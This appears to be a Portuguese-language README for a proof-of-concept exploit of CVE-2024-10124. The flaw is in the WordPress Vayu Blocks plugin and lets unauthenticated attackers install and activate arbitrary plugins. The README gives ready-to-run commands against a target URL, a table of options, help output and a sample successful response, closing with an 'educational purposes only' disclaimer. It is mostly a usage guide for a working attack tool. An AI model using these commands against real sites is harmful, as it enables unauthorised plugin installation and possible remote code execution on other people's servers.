nxploited/cve-2024-10124-pocExploit de prova de conceito para CVE-2024-10124 no plugin Vayu Blocks do WordPress, permitindo a instalação e ativação não autorizada de plugins para potencialmente alcançar execução remota de código.
O plugin Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce para WordPress é vulnerável à instalação e ativação arbitrárias não autorizadas de plugins devido a uma verificação de capacidade ausente na função tp_install() em todas as versões até, e incluindo, a 1.1.1. Isso torna possível que atacantes não autenticados instalem e ativem plugins arbitrários, o que pode ser aproveitado para alcançar a execução remota de código se outro plugin vulnerável estiver instalado e ativado. Esta vulnerabilidade foi parcialmente corrigida na versão 1.1.1.
python CVE-2024-10124.py -u http://192.168.100.74/wordpress --check-version
Isso verificará a versão do plugin vayu-blocks para determinar se o site está vulnerável.
python CVE-2024-10124.py -u http://192.168.100.74/wordpress
Isso instalará o plugin padrão hello-dolly.
python CVE-2024-10124.py -u http://192.168.100.74/wordpress -p plugin_name
Isso instalará o plugin plugin_name no site de destino.
| 🔍 | Comando | Descrição | Exemplo |
|---|---|---|---|
| 🌐 | -u ou --url | Especifica o URL de destino do site WordPress. | -u http://192.168.100.74/wordpress |
| 🔒 | --check-version | Verifica se o site está vulnerável com base na versão. | -u http://192.168.100.74/wordpress --check-version |
| ⚙️ | -p ou --plugin | Especifica o nome do plugin (o padrão é hello-dolly). | -u http://192.168.100.74/wordpress -p plugin_name |
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://192.168.100.74/wordpress)
-p PLUGIN, --plugin PLUGIN
Plugin name (default: hello-dolly)
--check-version Check if the site is vulnerable based on plugin version
Response Status Code: 200
The plugin has been successfully uploaded and activated.
Response Content: "http:\/\/192.168.100.74\/wordpress"
Este script é fornecido apenas para fins educacionais. O autor não é responsável por quaisquer danos causados pelo uso indevido deste script.